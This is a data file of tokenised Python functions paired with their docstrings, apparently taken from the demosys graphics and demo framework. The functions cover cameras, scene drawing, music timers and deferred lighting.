{"signature": "def init(window=None, project=None, timeline=None):", "body": "from demosys.effects.registry import Effect<EOL>from demosys.scene import camera<EOL>window.timeline = timeline<EOL>setattr(Effect, '<STR_LIT>', window)<EOL>setattr(Effect, '<STR_LIT>', window.ctx)<EOL>setattr(Effect, '<STR_LIT>', project)<EOL>window.sys_camera = camera.SystemCamera(aspect=window.aspect_ratio, fov=<NUM_LIT>, near=<NUM_LIT:1>, far=<NUM_LIT:1000>)<EOL>setattr(Effect, '<STR_LIT>', window.sys_camera)<EOL>print(\"<STR_LIT>\", time.time())<EOL>project.load()<EOL>timer_cls = import_string(settings.TIMER)<EOL>window.timer = timer_cls()<EOL>window.timer.start()<EOL>", "docstring": "Initialize, load and run\n\n:param manager: The effect manager to use", "id": "f14412:m0"}
{"signature": "def create(file_format='<STR_LIT>', name=None):", "body": "dest = \"<STR_LIT>\"<EOL>if settings.SCREENSHOT_PATH:<EOL><INDENT>if not os.path.exists(settings.SCREENSHOT_PATH):<EOL><INDENT>print(\"<STR_LIT>\".format(settings.SCREENSHOT_PATH))<EOL>os.makedirs(settings.SCREENSHOT_PATH)<EOL><DEDENT>dest = settings.SCREENSHOT_PATH<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>if not Config.target:<EOL><INDENT>Config.target = context.window().fbo<EOL><DEDENT>image = Image.frombytes(<EOL>\"<STR_LIT>\",<EOL>(Config.target.viewport[<NUM_LIT:2>], Config.target.viewport[<NUM_LIT:3>]),<EOL>Config.target.read(viewport=Config.target.viewport, alignment=Config.alignment),<EOL>)<EOL>image = image.transpose(Image.FLIP_TOP_BOTTOM)<EOL>if not name:<EOL><INDENT>name = \"<STR_LIT>\".format(datetime.now().strftime(\"<STR_LIT>\"), file_format)<EOL><DEDENT>dest = os.path.join(dest, name)<EOL>print(\"<STR_LIT>\", dest)<EOL>image.save(dest, format=file_format)<EOL>", "docstring": "Create a screenshot\n:param file_format: formats supported by PIL (png, jpeg etc)", "id": "f14413:m0"}
{"signature": "def __init__(self, fov=<NUM_LIT>, aspect=<NUM_LIT:1.0>, near=<NUM_LIT:1>, far=<NUM_LIT:100>):", "body": "self.position = Vector3([<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>])<EOL>self.up = Vector3([<NUM_LIT:0.0>, <NUM_LIT:1.0>, <NUM_LIT:0.0>])<EOL>self.right = Vector3([<NUM_LIT:1.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>])<EOL>self.dir = Vector3([<NUM_LIT:0.0>, <NUM_LIT:0.0>, -<NUM_LIT:1.0>])<EOL>self.yaw = -<NUM_LIT><EOL>self.pitch = <NUM_LIT:0.0><EOL>self._up = Vector3([<NUM_LIT:0.0>, <NUM_LIT:1.0>, <NUM_LIT:0.0>])<EOL>self.projection = Projection(aspect, fov, near, far)<EOL>", "docstring": "Initialize camera using a specific projection\n\n:param fov: Field of view\n:param aspect: Aspect ratio\n:param near: Near plane\n:param far: Far plane", "id": "f14415:c0:m0"}
{"signature": "def set_position(self, x, y, z):", "body": "self.position = Vector3([x, y, z])<EOL>", "docstring": "Set the 3D position of the camera\n\n:param x: float\n:param y: float\n:param z: float", "id": "f14415:c0:m1"}
{"signature": "@property<EOL><INDENT>def view_matrix(self):<DEDENT>", "body": "self._update_yaw_and_pitch()<EOL>return self._gl_look_at(self.position, self.position + self.dir, self._up)<EOL>", "docstring": ":return: The current view matrix for the camera", "id": "f14415:c0:m2"}
{"signature": "def _update_yaw_and_pitch(self):", "body": "front = Vector3([<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>])<EOL>front.x = cos(radians(self.yaw)) * cos(radians(self.pitch))<EOL>front.y = sin(radians(self.pitch))<EOL>front.z = sin(radians(self.yaw)) * cos(radians(self.pitch))<EOL>self.dir = vector.normalise(front)<EOL>self.right = vector.normalise(vector3.cross(self.dir, self._up))<EOL>self.up = vector.normalise(vector3.cross(self.right, self.dir))<EOL>", "docstring": "Updates the camera vectors based on the current yaw and pitch", "id": "f14415:c0:m3"}
{"signature": "def look_at(self, vec=None, pos=None):", "body": "if pos is None:<EOL><INDENT>vec = Vector3(pos)<EOL><DEDENT>if vec is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return self._gl_look_at(self.position, vec, self._up)<EOL>", "docstring": "Look at a specific point\n\n:param vec: Vector3 position\n:param pos: python list [x, y, x]\n:return: Camera matrix", "id": "f14415:c0:m4"}
{"signature": "def _gl_look_at(self, pos, target, up):", "body": "z = vector.normalise(pos - target)<EOL>x = vector.normalise(vector3.cross(vector.normalise(up), z))<EOL>y = vector3.cross(z, x)<EOL>translate = matrix44.create_identity()<EOL>translate[<NUM_LIT:3>][<NUM_LIT:0>] = -pos.x<EOL>translate[<NUM_LIT:3>][<NUM_LIT:1>] = -pos.y<EOL>translate[<NUM_LIT:3>][<NUM_LIT:2>] = -pos.z<EOL>rotate = matrix44.create_identity()<EOL>rotate[<NUM_LIT:0>][<NUM_LIT:0>] = x[<NUM_LIT:0>]  <EOL>rotate[<NUM_LIT:1>][<NUM_LIT:0>] = x[<NUM_LIT:1>]<EOL>rotate[<NUM_LIT:2>][<NUM_LIT:0>] = x[<NUM_LIT:2>]<EOL>rotate[<NUM_LIT:0>][<NUM_LIT:1>] = y[<NUM_LIT:0>]  <EOL>rotate[<NUM_LIT:1>][<NUM_LIT:1>] = y[<NUM_LIT:1>]<EOL>rotate[<NUM_LIT:2>][<NUM_LIT:1>] = y[<NUM_LIT:2>]<EOL>rotate[<NUM_LIT:0>][<NUM_LIT:2>] = z[<NUM_LIT:0>]  <EOL>rotate[<NUM_LIT:1>][<NUM_LIT:2>] = z[<NUM_LIT:1>]<EOL>rotate[<NUM_LIT:2>][<NUM_LIT:2>] = z[<NUM_LIT:2>]<EOL>return matrix44.multiply(translate, rotate)<EOL>", "docstring": "The standard lookAt method\n\n:param pos: current position\n:param target: target position to look at\n:param up: direction up", "id": "f14415:c0:m5"}
{"signature": "def move_state(self, direction, activate):", "body": "if direction == RIGHT:<EOL><INDENT>self._xdir = POSITIVE if activate else STILL<EOL><DEDENT>elif direction == LEFT:<EOL><INDENT>self._xdir = NEGATIVE if activate else STILL<EOL><DEDENT>elif direction == FORWARD:<EOL><INDENT>self._zdir = NEGATIVE if activate else STILL<EOL><DEDENT>elif direction == BACKWARD:<EOL><INDENT>self._zdir = POSITIVE if activate else STILL<EOL><DEDENT>elif direction == UP:<EOL><INDENT>self._ydir = POSITIVE if activate else STILL<EOL><DEDENT>elif direction == DOWN:<EOL><INDENT>self._ydir = NEGATIVE if activate else STILL<EOL><DEDENT>", "docstring": "Set the camera position move state\n\n:param direction: What direction to update\n:param activate: Start or stop moving in the direction", "id": "f14415:c1:m7"}
{"signature": "def rot_state(self, x, y):", "body": "if self.last_x is None:<EOL><INDENT>self.last_x = x<EOL><DEDENT>if self.last_y is None:<EOL><INDENT>self.last_y = y<EOL><DEDENT>x_offset = self.last_x - x<EOL>y_offset = self.last_y - y<EOL>self.last_x = x<EOL>self.last_y = y<EOL>x_offset *= self.mouse_sensitivity<EOL>y_offset *= self.mouse_sensitivity<EOL>self.yaw -= x_offset<EOL>self.pitch += y_offset<EOL>if self.pitch > <NUM_LIT>:<EOL><INDENT>self.pitch = <NUM_LIT><EOL><DEDENT>if self.pitch < -<NUM_LIT>:<EOL><INDENT>self.pitch = -<NUM_LIT><EOL><DEDENT>self._update_yaw_and_pitch()<EOL>", "docstring": "Set the rotation state of the camera\n\n:param x: viewport x pos\n:param y: viewport y pos", "id": "f14415:c1:m8"}
{"signature": "@property<EOL><INDENT>def view_matrix(self):<DEDENT>", "body": "<EOL>now = time.time()<EOL>t = max(now - self._last_time, <NUM_LIT:0>)<EOL>self._last_time = now<EOL>if self._xdir == POSITIVE:<EOL><INDENT>self.position += self.right * self.velocity * t<EOL><DEDENT>elif self._xdir == NEGATIVE:<EOL><INDENT>self.position -= self.right * self.velocity * t<EOL><DEDENT>if self._zdir == NEGATIVE:<EOL><INDENT>self.position += self.dir * self.velocity * t<EOL><DEDENT>elif self._zdir == POSITIVE:<EOL><INDENT>self.position -= self.dir * self.velocity * t<EOL><DEDENT>if self._ydir == POSITIVE:<EOL><INDENT>self.position += self.up * self.velocity * t<EOL><DEDENT>elif self._ydir == NEGATIVE:<EOL><INDENT>self.position -= self.up * self.velocity * t<EOL><DEDENT>return self._gl_look_at(self.position, self.position + self.dir, self._up)<EOL>", "docstring": ":return: The current view matrix for the camera", "id": "f14415:c1:m9"}
{"signature": "def __init__(self, name, vao=None, material=None, attributes=None, bbox_min=None, bbox_max=None):", "body": "self.name = name<EOL>self.vao = vao<EOL>self.material = material<EOL>self.attributes = attributes or {}<EOL>self.bbox_min = bbox_min<EOL>self.bbox_max = bbox_max<EOL>self.mesh_program = None<EOL>", "docstring": ":param name: Name of the mesh\n:param vao: VAO\n:param material: Material\n:param attributes: Details info about each mesh attribute (dict)\n    {\n        \"NORMAL\": {\"name\": \"in_normal\", \"components\": 3, \"type\": GL_FLOAT},\n        \"POSITION\": {\"name\": \"in_position\", \"components\": 3, \"type\": GL_FLOAT}\n    }", "id": "f14416:c0:m0"}
{"signature": "def draw(self, projection_matrix=None, view_matrix=None, camera_matrix=None, time=<NUM_LIT:0>):", "body": "if self.mesh_program:<EOL><INDENT>self.mesh_program.draw(<EOL>self,<EOL>projection_matrix=projection_matrix,<EOL>view_matrix=view_matrix,<EOL>camera_matrix=camera_matrix,<EOL>time=time<EOL>)<EOL><DEDENT>", "docstring": "Draw the mesh using the assigned mesh program\n\n:param projection_matrix: projection_matrix (bytes)\n:param view_matrix: view_matrix (bytes)\n:param camera_matrix: camera_matrix (bytes)", "id": "f14416:c0:m1"}
{"signature": "def add_attribute(self, attr_type, name, components):", "body": "self.attributes[attr_type] = {\"<STR_LIT:name>\": name, \"<STR_LIT>\": components}<EOL>", "docstring": "Add metadata about the mesh\n:param attr_type: POSITION, NORMAL etc\n:param name: The attribute name used in the program\n:param components: Number of floats", "id": "f14416:c0:m3"}
{"signature": "def __init__(self, name, mesh_programs=None, **kwargs):", "body": "self.name = name<EOL>self.root_nodes = []<EOL>self.nodes = []<EOL>self.materials = []<EOL>self.meshes = []<EOL>self.cameras = []<EOL>self.bbox_min = None<EOL>self.bbox_max = None<EOL>self.diagonal_size = <NUM_LIT:1.0><EOL>self.bbox_vao = geometry.bbox()<EOL>self.bbox_program = programs.load(ProgramDescription(<EOL>label='<STR_LIT>',<EOL>path='<STR_LIT>'))<EOL>self._view_matrix = matrix44.create_identity()<EOL>", "docstring": ":param name: Unique name or path for the scene\n:param mesh_programs: List of MeshPrograms to apply to the scene\n:param loader: Loader class for the scene if relevant", "id": "f14417:c0:m0"}
{"signature": "def draw(self, projection_matrix=None, camera_matrix=None, time=<NUM_LIT:0>):", "body": "projection_matrix = projection_matrix.astype('<STR_LIT>').tobytes()<EOL>camera_matrix = camera_matrix.astype('<STR_LIT>').tobytes()<EOL>for node in self.root_nodes:<EOL><INDENT>node.draw(<EOL>projection_matrix=projection_matrix,<EOL>camera_matrix=camera_matrix,<EOL>time=time,<EOL>)<EOL><DEDENT>self.ctx.clear_samplers(<NUM_LIT:0>, <NUM_LIT:4>)<EOL>", "docstring": "Draw all the nodes in the scene\n\n:param projection_matrix: projection matrix (bytes)\n:param camera_matrix: camera_matrix (bytes)\n:param time: The current time", "id": "f14417:c0:m4"}
{"signature": "def draw_bbox(self, projection_matrix=None, camera_matrix=None, all=True):", "body": "projection_matrix = projection_matrix.astype('<STR_LIT>').tobytes()<EOL>camera_matrix = camera_matrix.astype('<STR_LIT>').tobytes()<EOL>self.bbox_program[\"<STR_LIT>\"].write(projection_matrix)<EOL>self.bbox_program[\"<STR_LIT>\"].write(self._view_matrix.astype('<STR_LIT>').tobytes())<EOL>self.bbox_program[\"<STR_LIT>\"].write(camera_matrix)<EOL>self.bbox_program[\"<STR_LIT>\"].write(self.bbox_min.astype('<STR_LIT>').tobytes())<EOL>self.bbox_program[\"<STR_LIT>\"].write(self.bbox_max.astype('<STR_LIT>').tobytes())<EOL>self.bbox_program[\"<STR_LIT>\"].value = (<NUM_LIT:1.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>)<EOL>self.bbox_vao.render(self.bbox_program)<EOL>if not all:<EOL><INDENT>return<EOL><DEDENT>for node in self.root_nodes:<EOL><INDENT>node.draw_bbox(projection_matrix, camera_matrix, self.bbox_program, self.bbox_vao)<EOL><DEDENT>", "docstring": "Draw scene and mesh bounding boxes", "id": "f14417:c0:m5"}
{"signature": "def apply_mesh_programs(self, mesh_programs=None):", "body": "if not mesh_programs:<EOL><INDENT>mesh_programs = [ColorProgram(), TextureProgram(), FallbackProgram()]<EOL><DEDENT>for mesh in self.meshes:<EOL><INDENT>for mp in mesh_programs:<EOL><INDENT>instance = mp.apply(mesh)<EOL>if instance is not None:<EOL><INDENT>if isinstance(instance, MeshProgram):<EOL><INDENT>mesh.mesh_program = mp<EOL>break<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(type(instance)))<EOL><DEDENT><DEDENT><DEDENT>if not mesh.mesh_program:<EOL><INDENT>print(\"<STR_LIT>\".format(mesh.name))<EOL><DEDENT><DEDENT>", "docstring": "Applies mesh programs to meshes", "id": "f14417:c0:m6"}
{"signature": "def calc_scene_bbox(self):", "body": "bbox_min, bbox_max = None, None<EOL>for node in self.root_nodes:<EOL><INDENT>bbox_min, bbox_max = node.calc_global_bbox(<EOL>matrix44.create_identity(),<EOL>bbox_min,<EOL>bbox_max<EOL>)<EOL><DEDENT>self.bbox_min = bbox_min<EOL>self.bbox_max = bbox_max<EOL>self.diagonal_size = vector3.length(self.bbox_max - self.bbox_min)<EOL>", "docstring": "Calculate scene bbox", "id": "f14417:c0:m7"}
{"signature": "def destroy(self):", "body": "for mesh in self.meshes:<EOL><INDENT>mesh.vao.release()<EOL><DEDENT>", "docstring": "Destroy the scene data and deallocate buffers", "id": "f14417:c0:m9"}
{"signature": "def draw(self, mesh, projection_matrix=None, view_matrix=None, camera_matrix=None, time=<NUM_LIT:0>):", "body": "self.program[\"<STR_LIT>\"].write(projection_matrix)<EOL>self.program[\"<STR_LIT>\"].write(view_matrix)<EOL>mesh.vao.render(self.program)<EOL>", "docstring": "Draw code for the mesh. Should be overriden.\n\n:param projection_matrix: projection_matrix (bytes)\n:param view_matrix: view_matrix (bytes)\n:param camera_matrix: camera_matrix (bytes)\n:param time: The current time", "id": "f14419:c0:m1"}
{"signature": "def apply(self, mesh):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Determine if this MeshProgram should be applied to the mesh\nCan return self or some MeshProgram instance to support dynamic MeshProgram creation\n\n:param mesh: The mesh to inspect", "id": "f14419:c0:m2"}
{"signature": "def draw(self, projection_matrix=None, camera_matrix=None, time=<NUM_LIT:0>):", "body": "if self.mesh:<EOL><INDENT>self.mesh.draw(<EOL>projection_matrix=projection_matrix,<EOL>view_matrix=self.matrix_global_bytes,<EOL>camera_matrix=camera_matrix,<EOL>time=time<EOL>)<EOL><DEDENT>for child in self.children:<EOL><INDENT>child.draw(<EOL>projection_matrix=projection_matrix,<EOL>camera_matrix=camera_matrix,<EOL>time=time<EOL>)<EOL><DEDENT>", "docstring": "Draw node and children\n\n:param projection_matrix: projection matrix (bytes)\n:param camera_matrix: camera_matrix (bytes)\n:param time: The current time", "id": "f14420:c0:m2"}
{"signature": "def calc_global_bbox(self, view_matrix, bbox_min, bbox_max):", "body": "if self.matrix is not None:<EOL><INDENT>view_matrix = matrix44.multiply(self.matrix, view_matrix)<EOL><DEDENT>if self.mesh:<EOL><INDENT>bbox_min, bbox_max = self.mesh.calc_global_bbox(view_matrix, bbox_min, bbox_max)<EOL><DEDENT>for child in self.children:<EOL><INDENT>bbox_min, bbox_max = child.calc_global_bbox(view_matrix, bbox_min, bbox_max)<EOL><DEDENT>return bbox_min, bbox_max<EOL>", "docstring": "Recursive calculation of scene bbox", "id": "f14420:c0:m4"}
{"signature": "def start(self):", "body": "if self.initialized:<EOL><INDENT>mixer.music.unpause()<EOL><DEDENT>else:<EOL><INDENT>mixer.music.play()<EOL>mixer.music.play()<EOL>self.initialized = True<EOL><DEDENT>self.paused = False<EOL>", "docstring": "Play the music", "id": "f14422:c0:m1"}
{"signature": "def pause(self):", "body": "mixer.music.pause()<EOL>self.pause_time = self.get_time()<EOL>self.paused = True<EOL>", "docstring": "Pause the music", "id": "f14422:c0:m2"}
{"signature": "def toggle_pause(self):", "body": "if self.paused:<EOL><INDENT>self.start()<EOL><DEDENT>else:<EOL><INDENT>self.pause()<EOL><DEDENT>", "docstring": "Toggle pause mode", "id": "f14422:c0:m3"}
{"signature": "def stop(self) -> float:", "body": "mixer.music.stop()<EOL>return self.get_time()<EOL>", "docstring": "Stop the music\n\nReturns:\n    The current location in the music", "id": "f14422:c0:m4"}
{"signature": "def get_time(self) -> float:", "body": "if self.paused:<EOL><INDENT>return self.pause_time<EOL><DEDENT>return mixer.music.get_pos() / <NUM_LIT><EOL>", "docstring": "Get the current position in the music in seconds", "id": "f14422:c0:m5"}
{"signature": "def set_time(self, value: float):", "body": "if value < <NUM_LIT:0>:<EOL><INDENT>value = <NUM_LIT:0><EOL><DEDENT>mixer.music.set_pos(value)<EOL>", "docstring": "Set the current time in the music in seconds causing the player\nto seek to this location in the file.", "id": "f14422:c0:m6"}
{"signature": "def start(self):", "body": "if self.start_time is None:<EOL><INDENT>self.start_time = time.time()<EOL><DEDENT>else:<EOL><INDENT>pause_duration = time.time() - self.pause_time<EOL>self.offset += pause_duration<EOL>self.pause_time = None<EOL><DEDENT>", "docstring": "Start the timer by recoding the current ``time.time()``\npreparing to report the number of seconds since this timestamp.", "id": "f14423:c0:m1"}
{"signature": "def pause(self):", "body": "self.pause_time = time.time()<EOL>", "docstring": "Pause the timer by setting the internal pause time using ``time.time()``", "id": "f14423:c0:m2"}
{"signature": "def toggle_pause(self):", "body": "if self.pause_time:<EOL><INDENT>self.start()<EOL><DEDENT>else:<EOL><INDENT>self.pause()<EOL><DEDENT>", "docstring": "Toggle the paused state", "id": "f14423:c0:m3"}
{"signature": "def stop(self) -> float:", "body": "self.stop_time = time.time()<EOL>return self.stop_time - self.start_time - self.offset<EOL>", "docstring": "Stop the timer\n\nReturns:\n    The time the timer was stopped", "id": "f14423:c0:m4"}
{"signature": "def get_time(self) -> float:", "body": "if self.pause_time is not None:<EOL><INDENT>curr_time = self.pause_time - self.offset - self.start_time<EOL>return curr_time<EOL><DEDENT>curr_time = time.time()<EOL>return curr_time - self.start_time - self.offset<EOL>", "docstring": "Get the current time in seconds\n\nReturns:\n    The current time in seconds", "id": "f14423:c0:m5"}
{"signature": "def set_time(self, value: float):", "body": "if value < <NUM_LIT:0>:<EOL><INDENT>value = <NUM_LIT:0><EOL><DEDENT>self.offset += self.get_time() - value<EOL>", "docstring": "Set the current time. This can be used to jump in the timeline.\n\nArgs:\n    value (float): The new time", "id": "f14423:c0:m6"}
{"signature": "def start(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Start the timer initially or resume after pause\n\nRaises:\n    NotImplementedError", "id": "f14424:c0:m1"}
{"signature": "def pause(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Pause the timer\n\nRaises:\n    NotImplementedError", "id": "f14424:c0:m2"}
{"signature": "def toggle_pause(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Toggle pause state\n\nRaises:\n    NotImplementedError", "id": "f14424:c0:m3"}
{"signature": "def stop(self) -> float:", "body": "raise NotImplementedError()<EOL>", "docstring": "Stop the timer. Should only be called once when stopping the timer.\n\nReturns:\n    The time the timer was stopped\n\nRaises:\n    NotImplementedError", "id": "f14424:c0:m4"}
{"signature": "def get_time(self) -> float:", "body": "raise NotImplementedError()<EOL>", "docstring": "Get the current time in seconds\n\nReturns:\n    The current time in seconds\n\nRaises:\n    NotImplementedError", "id": "f14424:c0:m5"}
{"signature": "def set_time(self, value: float):", "body": "raise NotImplementedError()<EOL>", "docstring": "Set the current time in seconds.\n\nArgs:\n    value (float): The new time\n\nRaises:\n    NotImplementedError", "id": "f14424:c0:m6"}
{"signature": "def __init__(self, **kwargs):", "body": "config = getattr(settings, '<STR_LIT>', None)<EOL>if config is None:<EOL><INDENT>config = {}<EOL><DEDENT>self.mode = config.get('<STR_LIT>') or '<STR_LIT>'<EOL>self.files = config.get('<STR_LIT>') or '<STR_LIT>'<EOL>self.project = config.get('<STR_LIT>') or '<STR_LIT>'<EOL>self.rps = config.get('<STR_LIT>', <NUM_LIT>)<EOL>self.start_paused = False<EOL>self.controller = TimeController(self.rps)<EOL>if self.mode == '<STR_LIT>':<EOL><INDENT>self.rocket = Rocket.from_socket(self.controller, track_path=self.files)<EOL>self.start_paused = True<EOL><DEDENT>elif self.mode == '<STR_LIT>':<EOL><INDENT>self.rocket = Rocket.from_project_file(self.controller, self.project)<EOL><DEDENT>elif self.mode == '<STR_LIT>':<EOL><INDENT>self.rocket = Rocket.from_files(self.controller, self.files)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.mode))<EOL><DEDENT>for track in tracks.tacks:<EOL><INDENT>self.rocket.tracks.add(track)<EOL><DEDENT>for track in tracks.tacks:<EOL><INDENT>self.rocket.track(track.name)<EOL><DEDENT>self.rocket.update()<EOL>super().__init__(**kwargs)<EOL>", "docstring": "Initialize the rocket timer using values from settings", "id": "f14425:c0:m0"}
{"signature": "def start(self):", "body": "if not self.start_paused:<EOL><INDENT>self.rocket.start()<EOL><DEDENT>", "docstring": "Start the timer", "id": "f14425:c0:m1"}
{"signature": "def get_time(self) -> float:", "body": "self.rocket.update()<EOL>return self.rocket.time<EOL>", "docstring": "Get the current time in seconds\n\nReturns:\n    The current time in seconds", "id": "f14425:c0:m2"}
{"signature": "def set_time(self, value: float):", "body": "if value < <NUM_LIT:0>:<EOL><INDENT>value = <NUM_LIT:0><EOL><DEDENT>self.controller.row = self.rps * value<EOL>", "docstring": "Set the current time jumping in the timeline.\n\nArgs:\n    value (float): The new time", "id": "f14425:c0:m3"}
{"signature": "def pause(self):", "body": "self.controller.playing = False<EOL>", "docstring": "Pause the timer", "id": "f14425:c0:m4"}
{"signature": "def toggle_pause(self):", "body": "self.controller.playing = not self.controller.playing<EOL>", "docstring": "Toggle pause mode", "id": "f14425:c0:m5"}
{"signature": "def stop(self) -> float:", "body": "return self.rocket.time<EOL>", "docstring": "Stop the timer\n\nReturns:\n    The current time.", "id": "f14425:c0:m6"}
{"signature": "def start(self):", "body": "self.player.play()<EOL>self.paused = False<EOL>", "docstring": "Start the music", "id": "f14426:c0:m1"}
{"signature": "def pause(self):", "body": "self.pause_time = self.get_time()<EOL>self.paused = True<EOL>self.player.pause()<EOL>", "docstring": "Pause the music", "id": "f14426:c0:m2"}
{"signature": "def toggle_pause(self):", "body": "if self.paused:<EOL><INDENT>self.start()<EOL><DEDENT>else:<EOL><INDENT>self.pause()<EOL><DEDENT>", "docstring": "Toggle pause mode", "id": "f14426:c0:m3"}
{"signature": "def stop(self) -> float:", "body": "self.player.stop()<EOL>return self.get_time()<EOL>", "docstring": "Stop the music\n\nReturns:\n    The current time in seconds", "id": "f14426:c0:m4"}
{"signature": "def get_time(self) -> float:", "body": "if self.paused:<EOL><INDENT>return self.pause_time<EOL><DEDENT>return self.player.get_time() / <NUM_LIT><EOL>", "docstring": "Get the current time in seconds\n\nReturns:\n    The current time in seconds", "id": "f14426:c0:m5"}
{"signature": "def start(self):", "body": "self.music.start()<EOL>if not self.start_paused:<EOL><INDENT>self.rocket.start()<EOL><DEDENT>", "docstring": "Start the timer", "id": "f14427:c0:m1"}
{"signature": "def get_time(self) -> float:", "body": "self.rocket.update()<EOL>return self.music.get_time()<EOL>", "docstring": "Get the current time in seconds\n\nReturns:\n    The current time in seconds", "id": "f14427:c0:m2"}
{"signature": "def set_time(self, value: float):", "body": "self.music.set_time(value)<EOL>", "docstring": "Set the current time jumping in the timeline\n\nArgs:\n    value (float): The new time value", "id": "f14427:c0:m3"}
{"signature": "def pause(self):", "body": "self.controller.playing = False<EOL>self.music.pause()<EOL>", "docstring": "Pause the timer", "id": "f14427:c0:m4"}
{"signature": "def toggle_pause(self):", "body": "self.controller.playing = not self.controller.playing<EOL>self.music.toggle_pause()<EOL>", "docstring": "Toggle pause mode", "id": "f14427:c0:m5"}
{"signature": "def stop(self) -> float:", "body": "return self.rocket.time<EOL>", "docstring": "Stop the timer\n\nReturns:\n    The current time", "id": "f14427:c0:m6"}
{"signature": "def draw_buffers(self, near, far):", "body": "self.ctx.disable(moderngl.DEPTH_TEST)<EOL>helper.draw(self.gbuffer.color_attachments[<NUM_LIT:0>], pos=(<NUM_LIT:0.0>, <NUM_LIT:0.0>), scale=(<NUM_LIT>, <NUM_LIT>))<EOL>helper.draw(self.gbuffer.color_attachments[<NUM_LIT:1>], pos=(<NUM_LIT:0.5>, <NUM_LIT:0.0>), scale=(<NUM_LIT>, <NUM_LIT>))<EOL>helper.draw_depth(self.gbuffer.depth_attachment, near, far, pos=(<NUM_LIT:1.0>, <NUM_LIT:0.0>), scale=(<NUM_LIT>, <NUM_LIT>))<EOL>helper.draw(self.lightbuffer.color_attachments[<NUM_LIT:0>], pos=(<NUM_LIT>, <NUM_LIT:0.0>), scale=(<NUM_LIT>, <NUM_LIT>))<EOL>", "docstring": "Draw framebuffers for debug purposes.\nWe need to supply near and far plane so the depth buffer can be linearized when visualizing.\n\n:param near: Projection near value\n:param far: Projection far value", "id": "f14429:c0:m1"}
{"signature": "def add_point_light(self, position, radius):", "body": "self.point_lights.append(PointLight(position, radius))<EOL>", "docstring": "Add point light", "id": "f14429:c0:m2"}
{"signature": "def render_lights(self, camera_matrix, projection):", "body": "<EOL>self.ctx.front_face = '<STR_LIT>'<EOL>self.ctx.blend_func = moderngl.ONE, moderngl.ONE<EOL>helper._depth_sampler.use(location=<NUM_LIT:1>)<EOL>with self.lightbuffer_scope:<EOL><INDENT>for light in self.point_lights:<EOL><INDENT>light_size = light.radius<EOL>m_light = matrix44.multiply(light.matrix, camera_matrix)<EOL>self.point_light_shader[\"<STR_LIT>\"].write(projection.tobytes())<EOL>self.point_light_shader[\"<STR_LIT>\"].write(m_light.astype('<STR_LIT>').tobytes())<EOL>self.gbuffer.color_attachments[<NUM_LIT:1>].use(location=<NUM_LIT:0>)<EOL>self.point_light_shader[\"<STR_LIT>\"].value = <NUM_LIT:0><EOL>self.gbuffer.depth_attachment.use(location=<NUM_LIT:1>)<EOL>self.point_light_shader[\"<STR_LIT>\"].value = <NUM_LIT:1><EOL>self.point_light_shader[\"<STR_LIT>\"].value = (self.width, self.height)<EOL>self.point_light_shader[\"<STR_LIT>\"].value = projection.projection_constants<EOL>self.point_light_shader[\"<STR_LIT>\"].value = light_size<EOL>self.unit_cube.render(self.point_light_shader)<EOL><DEDENT><DEDENT>helper._depth_sampler.clear(location=<NUM_LIT:1>)<EOL>", "docstring": "Render light volumes", "id": "f14429:c0:m3"}
{"signature": "def render_lights_debug(self, camera_matrix, projection):", "body": "self.ctx.enable(moderngl.BLEND)<EOL>self.ctx.blend_func = moderngl.SRC_ALPHA, moderngl.ONE_MINUS_SRC_ALPHA<EOL>for light in self.point_lights:<EOL><INDENT>m_mv = matrix44.multiply(light.matrix, camera_matrix)<EOL>light_size = light.radius<EOL>self.debug_shader[\"<STR_LIT>\"].write(projection.tobytes())<EOL>self.debug_shader[\"<STR_LIT>\"].write(m_mv.astype('<STR_LIT>').tobytes())<EOL>self.debug_shader[\"<STR_LIT:size>\"].value = light_size<EOL>self.unit_cube.render(self.debug_shader, mode=moderngl.LINE_STRIP)<EOL><DEDENT>self.ctx.disable(moderngl.BLEND)<EOL>", "docstring": "Render outlines of light volumes", "id": "f14429:c0:m4"}
{"signature": "def combine(self):", "body": "self.gbuffer.color_attachments[<NUM_LIT:0>].use(location=<NUM_LIT:0>)<EOL>self.combine_shader[\"<STR_LIT>\"].value = <NUM_LIT:0><EOL>self.lightbuffer.color_attachments[<NUM_LIT:0>].use(location=<NUM_LIT:1>)<EOL>self.combine_shader[\"<STR_LIT>\"].value = <NUM_LIT:1><EOL>self.quad.render(self.combine_shader)<EOL>", "docstring": "Combine diffuse and light buffer", "id": "f14429:c0:m6"}
{"signature": "def clear(self):", "body": "self.gbuffer.clear()<EOL>self.lightbuffer.clear()<EOL>", "docstring": "clear all buffers", "id": "f14429:c0:m7"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "pass<EOL>", "docstring": "Implement the initialize when extending the class.\nThis method is responsible for fetching or creating resources\nand doing genereal initalization of the effect.\n\nThe effect initializer is called when all resources are loaded\n(with the exception of resources you manually load in the\nthe initializer).\n\nIf your effect requires arguments during initialiation you\nare free to add positional and keyword arguments.\n\nYou **do not** have to call the superclass initializer though ``super()``\n\nExample::\n\n    def __init__(self):\n        # Fetch reference to resource by their label\n        self.program = self.get_program('simple_textured')\n        self.texture = self.get_texture('bricks')\n        # .. create a cube etc ..", "id": "f14430:c0:m0"}
{"signature": "def post_load(self):", "body": "pass<EOL>", "docstring": "Called after all effects are initialized before drawing starts.\nSome initialization may be neccessary to do here such as\ninteraction with other effects.\n\nThis method does nothing unless implemented.", "id": "f14430:c0:m1"}
{"signature": "@property<EOL><INDENT>def name(self) -> str:<DEDENT>", "body": "return self._name<EOL>", "docstring": "Full python path to the effect", "id": "f14430:c0:m2"}
{"signature": "@property<EOL><INDENT>def label(self) -> str:<DEDENT>", "body": "return self._label<EOL>", "docstring": "The label assigned to this effect instance", "id": "f14430:c0:m3"}
